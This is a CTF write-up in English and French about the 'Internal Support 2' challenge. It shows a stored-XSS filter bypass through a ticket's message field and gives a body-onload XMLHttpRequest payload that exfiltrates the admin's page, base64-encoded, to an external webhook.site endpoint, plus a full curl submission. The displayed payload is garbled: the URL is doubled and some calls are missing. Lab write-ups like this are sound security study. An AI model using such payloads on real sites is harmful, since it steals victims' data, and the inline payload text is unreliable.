Writeup DGA - CTF - Internal Support 2

This article describes my solution for the 100-point challenge called “Internal Support 2”.


Votre chance de débutant a des limites… La sécurité a été renforcée suite à la découverte de failles dans la précédente version !

Avec une posture d’attaquant, votre but est de parvenir à vous connecter en tant qu'administrateur.

Malheureusement pour vous, le mot de passe est bien trop robuste, vous devez trouver un autre moyen.


This challenge seems to be the same platform as the previous challenge with the difference that the flaw seems to be fixed. This means that retrieving the cookie from the administrator is no longer possible. For having tried, there is a security at the IP address level: if the person using the cookie has a different IP address from which the cookie was created, you have to log out and log back in again.

In addition, a XSS detection system is in place on the form.

Cross-Site Scriting (XSS)

And yes, it’s still a XSS. Since we cannot use the administrator’s session cookie in a simple way, why don’t we ask the administrator to visit the home page and return the result in the same way we did with a cookie?

The XSS bypass is very simple to do: the system for detecting a XSS injection attempt is only implemented on the body of the message, not on the title. It is also possible to send HTML code that can trigger JavaScript code, for example with the onload attribute of the <body> element.

This time our payload is a little different. We will use an Asynchronous JavaScript and XML (AJAX) request based on the readyState property of the document. As soon as this state changes, we will make a HTTP request to our endpoint to analyze its content.

To exploit this vulnerability, I will use again webhook.site with the same endpoint. We activate the Cross-Origin Resource Sharing (CORS) header with this tool. If this header is not turned on, HTTP requests will be rejected. Learn more about CORS here

Here is the payload to use.

<body onload="e = new XMLHttpRequest();
e.onreadystatechange = function() {
	z = new XMLHttpRequest();
	z.open('GET','https://webhook.site/https://webhook.site/8d1556b1-49f1-4ba0-b934-0e7785789807?data='+btoa(e.responseText.substring(4000, Math.min(e.responseText.length, 1500))), false);
e.open('GET', '/');

Pretty simple to understand, isn’t it? After doing several tests, I decided to cut the response with e.responseText.substring(4000, Math.min(e.responseText.length, 1500)). At the same time, I encoded the text in Base 64 (via btoa() function) to avoid any problem of badly interpreted character.

In the same way as the previous challenge, the payload must be URL-encoded.

curl 'http://internalsupport22.chall.malicecyber.com/#i-need-help' -H 'Cookie: session=.eJwljsFuwzAMQ3_F8LkYItuyrH7F7kMR2JbcBMuaIU5PRf99BnYiSArUe9m5bbkv2u3162XNOcT-aO_5rvZiPzfNXc223836MOducq2jNOeydvM7bj7s7X27jJFD-2Kv5_HU4VaxV5sgBmTvmAuL00ZYBDKmIkpcSmwo6psn9iWGFDlVdSV6cOSBK6SgLsokZVIK1LQlL2PRQQ7kSvUKDRl9TjJKP1XHMv41iNQcOSl-4M_Prsc_TRi29qPN5_6tjxGIMlepKDFimCbAwZdJNXFQDIBSgTIh2Pcf9sRV1Q.X7r2Mg.5TFaYOeijmcykkWFA9aNBPh3psI' --data-raw 'csrf_token=ImRlOTljZGM1ZDY2NTQwMDE1NzViYTdlZTg5NGU1NDE1ZGMxN2E3NTEi.X7r7xA.s5a97xLzFN9op2-ogrSAc70RR6I&title=test&category=password_reset&message=%3Cbody%20onload%3D%22e%20%3D%20new%20XMLHttpRequest%28%29%3B%0Ae.onreadystatechange%20%3D%20function%28%29%20%7B%0A%09z%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09z.open%28%27GET%27%2C%27https%3A%2F%2Fwebhook.site%2F8d1556b1-49f1-4ba0-b934-0e7785789807%3Fdata%3D%27%2Bbtoa%28e.responseText.substring%284000%2C%20Math.min%28e.responseText.length%2C%201500%29%29%29%2C%20false%29%3B%0A%09z.send%28%29%3B%0A%7D%0Ae.open%28%27GET%27%2C%20%27%2F%27%29%3B%0Ae.send%28%29%3B%22%3E'

The creation of the ticket goes well.

<p>You should be redirected automatically to target URL: <a href="/ticket/10/">/ticket/10/</a>.  If not click the link.

On the HTTP request analyzer side, we get a response with a long string of characters encoded in Base 64. I don’t display this part because it is very long.

Once decoded, we get this.

<p class="text">
	- Hide the flag &#34;BEtter_BUT_ST!LL_N0tttttttttt++Prfct!&#34; a little bit better

We have just finished this challenge, the validation flag is: BEtter_BUT_ST!LL_N0tttttttttt++Prfct!.